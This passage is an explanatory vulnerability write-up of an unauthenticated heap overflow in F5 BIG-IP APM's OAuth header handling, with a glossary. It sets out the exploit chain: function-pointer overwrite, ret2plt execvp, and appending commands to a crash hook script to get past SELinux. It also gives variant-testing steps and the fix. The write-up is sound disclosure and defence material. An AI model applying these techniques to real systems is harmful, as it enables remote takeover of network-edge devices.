In roughly 90% of runs, an object with a function pointer member landed just past the buffer, at buffer + 0x4ff8. A function pointer is a variable that holds the address of a function to call. If an attacker can overwrite a function pointer, the program will later call whatever address the attacker put there. The offset 0x4ff8 is 20472 in decimal, a little beyond the 16640-byte buffer, which is exactly the kind of neighbour an overflow reaches.
The guessed layout of that object:
+0x00 callback function
+0x08 other fields
+0x10 other fields
This is a map of the object's memory. At offset zero from the object's start sits a callback function pointer, a function the program will call at some point. The next fields, at offsets 8 and 16 bytes, are other data. The overflow, arriving from the buffer just before this object, can overwrite the callback pointer first.
The call site that invokes the overwritten pointer:
mov rdi, [rbx+18h]
mov r9, [rdi]
call r9
This is assembly language, the low-level instructions the processor executes. Line by line:
mov rdi, [rbx+18h]loads a value from memory into therdiregister. The address is computed as the contents ofrbxplus0x18, which is 24 in decimal. In the C calling convention,rdiis the register used to pass the first argument to a function.mov r9, [rdi]loads a value from the address now inrdiinto ther9register. This is reading the function pointer out of the object.call r9calls the function whose address is inr9. If the attacker has overwritten that pointer, this is the moment control passes to the attacker's chosen address.
A stack pivot placed the alignment and arguments correctly, after which a chain of gadgets ran. A stack pivot is a technique that redirects the processor's stack pointer to memory the attacker controls, so that a chain of return addresses can be executed in sequence. The report does not detail the pivot itself, only that it got the alignment and arguments into place.
First attempt: call execvp
The first attempt was a classic ret2plt chain calling execvp:
execvp(
"/bin/sh",
(char *[]) { "sh", "-c", "touch /watchTowr.txt", NULL }
);
Line by line:
execvpis a standard C function that replaces the current program with a new one. Its first argument is the program to run, here/bin/sh, the standard command shell.- The second argument is a list of arguments for that program.
"sh"is the program name as the shell sees it,-ctells the shell to run the following text as a command, and"touch /watchTowr.txt"is that command.touchcreates an empty file if it does not exist, or updates its timestamp if it does.NULLmarks the end of the list. - The overall effect, if it worked, would be to run a shell that creates a file called
/watchTowr.txt, a harmless proof that commands can be executed.
ret2plt is shorthand for return-to-PLT. The PLT, Procedure Linkage Table, is a region of a program that holds stubs for calling library functions such as execvp. In a ret2plt attack, the attacker arranges for the program to "return" into one of those stubs, so the library function runs with arguments the attacker has placed in registers. It is a way to call existing functions without injecting new code, which is useful when memory cannot be executed.
The gadget was built, but SELinux blocked the exec syscall:
-1, errno=13 (EACCES) :(
SELinux, Security-Enhanced Linux, is an additional access-control layer in the operating system. It defines policies about what each program is allowed to do, beyond the ordinary file permissions. A syscall is a request from a program to the operating system kernel, such as "start this new program". The output says the call returned -1, meaning failure, with error number 13, EACCES, meaning permission denied. So the operating system refused to start the shell, even though the attacker's code was running.

Getting around SELinux
Writing a file to disk and dropping a web shell was also blocked, because the web server runs under SELinux too. A web shell is a small script placed on a server that lets an attacker run commands through the web server. If the web server cannot write files where it would need to, that route is closed.
So the researcher started poking around further, monitoring processes. A process is a running instance of a program; monitoring them means watching what starts and what runs. The researcher noticed a Bash script invoked every time the target process crashed:
bash /etc/bigstart/scripts/tmm.finish
Line by line:
bashis the shell program that reads and runs script files./etc/bigstart/scripts/tmm.finishis the path of the script being run. The name suggests it is a finishing step for thetmmprocess, the same process that crashed. The directory/etc/bigstart/scripts/holds startup and shutdown scripts.
A hook script is a script the system runs automatically at a particular moment, here when the process finishes or crashes. The insight is that the crashing process itself might be allowed to write to that script, even though it is not allowed to start new programs or write web content. If the attacker can append a command to the script, the system will run that command the next time the hook fires.
That hook script became the target. The ret2plt chain was reused to append a command to the script itself:
fd = open("/etc/bigstart/scripts/tmm.finish", O_WRONLY | O_APPEND);
write(fd, "/usr/bin/touch /watchTowr.txt;", 30);
Line by line:
open("/etc/bigstart/scripts/tmm.finish", O_WRONLY | O_APPEND)opens the script file.O_WRONLYmeans open for writing only.O_APPENDmeans any write goes at the end of the file rather than overwriting the beginning. The result is a file descriptor, a small number the program uses to refer to the open file, stored infd.write(fd, "/usr/bin/touch /watchTowr.txt;", 30)writes 30 bytes to that file. The bytes are the text/usr/bin/touch /watchTowr.txt;, which is a command to create the proof file, followed by a semicolon that separates it from whatever comes next in the script. The number 30 is the length of that text.
The ret2plt chain was reused to append a command to the hook script itself. The report closes with a wry line about still writing overflow 101 analyses in 2026.
Root cause
The bug is a missing length check before copying an attacker-controlled Authorization header into a fixed-size heap buffer of 0x4100 bytes. The header length is read into v20 and passed straight to memcpy_wrapper with the destination v8. The patch adds a single comparison, if ( v20 > 0x4100 ), that rejects oversized headers with Authorization header too big. before the copy.
Existing defences did not stop exploitation. ASLR was enabled, but the binary is not PIE, so code addresses are fixed. NX prevented executing from the heap or stack, but ret2plt chains do not need executable data. Stack canaries are irrelevant to a heap overflow. SELinux blocked direct exec and blocked the web server from writing a shell, but it did not prevent the process from appending to a script that is executed on crash, which is likely why the hook script provided the way out.
Impact
An attacker who can reach an OAuth endpoint on a vulnerable BIG-IP APM deployment can overflow the heap with a single request and, with a favourable heap layout, redirect execution through an overwritten function pointer. Unauthenticated means no login is needed: the request carries no valid credential, only an oversized one. Because BIG-IP sits at the network edge, terminates TLS and holds authentication material, code execution there is significant. The report notes that the vulnerability was being exploited in the wild. The affected surface is limited to BIG-IP APM on the listed branches; other modules and BIG-IQ are listed as not affected.
Fix
F5 fixed the issue in the hotfix builds listed in the advisory: Hotfix-BIGIP-21.1.0.2.0.30.22-ENG.iso for 21.x, and Hotfix-BIGIP-17.5.1.9.0.160.12-ENG.iso and Hotfix-BIGIP-17.1.3.5.0.41.14-ENG.iso for 17.x. The code change is the bounds check on the header length before the copy. The advisory lists these hotfix builds as the fixes.
Variants to test
- Other OAuth endpoints on the same virtual server. Send the same oversized
Authorization: Bearerheader to each documented/f5-oauth2/path and watch for a crash or atmm_assertinufree. A positive result is a process crash with0x41414141visible in registers. - Header lengths around the boundary. Try values just below, at and above
0x4100to confirm the check is present in a given build. A patched build returns theAuthorization header too big.error instead of crashing. - Other fixed-size buffers fed by headers. Look for other
umallocsites with a constant size followed by a copy whose length comes from a header, and test with oversized values. A positive result is corrupted heap metadata or an assert on free. - Crash hook scripts on other appliances. Check whether a script is invoked on process crash and whether the crashing process can write to it. A positive result is an appended command executing after the next crash.
- Non-PIE binaries with heap overflows. Where a binary lacks PIE, look for objects with function pointers placed after attacker-controlled buffers and test whether a pivot reaches them. A positive result is control of the call target.
Glossary
- ADC (application delivery controller): a device that sits in front of applications and directs incoming requests to the right server, often also handling encryption and filtering.
- APM (Access Policy Manager): the BIG-IP module that provides remote access and single sign-on.
- API: a defined set of addresses and rules that programs use to talk to each other.
- ASLR (Address Space Layout Randomisation): a defence that randomises where code and data sit in memory each time a program starts.
- Assertion: a check a program makes on its own internal state; if it fails, the program stops deliberately.
- Authorization header: the part of an HTTP request that carries a credential, such as a bearer token.
- Bearer token: a credential presented in an
Authorizationheader, introduced by the wordBearer. - Bounds check: a check that a value, such as a length, stays within an allowed range before it is used.
- Buffer: a reserved block of memory used to hold data.
- Buffer overflow: writing more data into a buffer than it can hold, so the extra spills into neighbouring memory.
- Call stack: the chain of function calls currently in progress, used to trace how a program reached a point.
- Canary: a secret value placed on the stack and checked later, so that a stack overflow is detected.
- CVE: a public identifier for a specific disclosed vulnerability.
- CWE: a public catalogue of categories of software weakness.
- Decompilation: turning compiled machine code back into something resembling source code.
- Diff: a side-by-side comparison showing what changed between two versions of a file.
- ELF: the standard file format for programs on Linux and similar systems.
- Endpoint: a specific address on a server that accepts requests.
- execvp: a standard C function that replaces the running program with another one.
- Function: a named block of code that performs one job.
- Function pointer: a variable holding the address of a function to be called.
- Gadget: a short sequence of existing instructions ending in a jump or return, used in chains to make a program do something unintended.
- Heap: the part of memory a program uses for data whose size is decided at runtime.
- Heap overflow: a buffer overflow that corrupts data on the heap, including the allocator's own bookkeeping.
- Hook script: a script the system runs automatically at a particular moment, such as when a process exits or crashes.
- Hotfix: a small corrective software update.
- HTTP header: a line in a request or response of the form
Name: value, carrying extra information. - IDA: a program for inspecting and analysing compiled binaries.
- iControl REST API: BIG-IP's programmable interface for configuration and management.
- malloc / umalloc: the standard C function for reserving heap memory, and a wrapper around it used by this software.
- memcpy: the standard C function that copies a given number of bytes from one place to another.
- NX (No-eXecute): a defence that prevents memory marked for data from being executed as code.
- OAuth: a standard for proving identity or granting access without sharing a password.
- PIE (Position Independent Executable): a program built so it can be loaded at any address; without PIE, its code addresses are fixed.
- Process: a running instance of a program.
- Register: a small, fast storage slot inside a processor.
- Remote code execution (RCE): getting a target computer to run commands chosen by an attacker, from another machine.
- ret2plt: an attack that redirects execution into a program's library-call stubs so an existing function runs with attacker-chosen arguments.
- SELinux: an additional access-control layer in the operating system that restricts what each program may do.
- Stack pivot: a technique that redirects the processor's stack pointer to attacker-controlled memory.
- Syscall: a request from a program to the operating system kernel.
- TLS: the encryption protocol behind secure web connections.
- TMOS: F5's own operating system for BIG-IP.
- TMUI: BIG-IP's web-based Configuration Utility.
- Unauthenticated: performed without a valid login or credential.
- Virtual server: a configuration inside BIG-IP representing a service it fronts.
- WAF (web application firewall): a filter that inspects web requests and blocks malicious ones.
- Web shell: a small script placed on a server that lets an attacker run commands through the web server.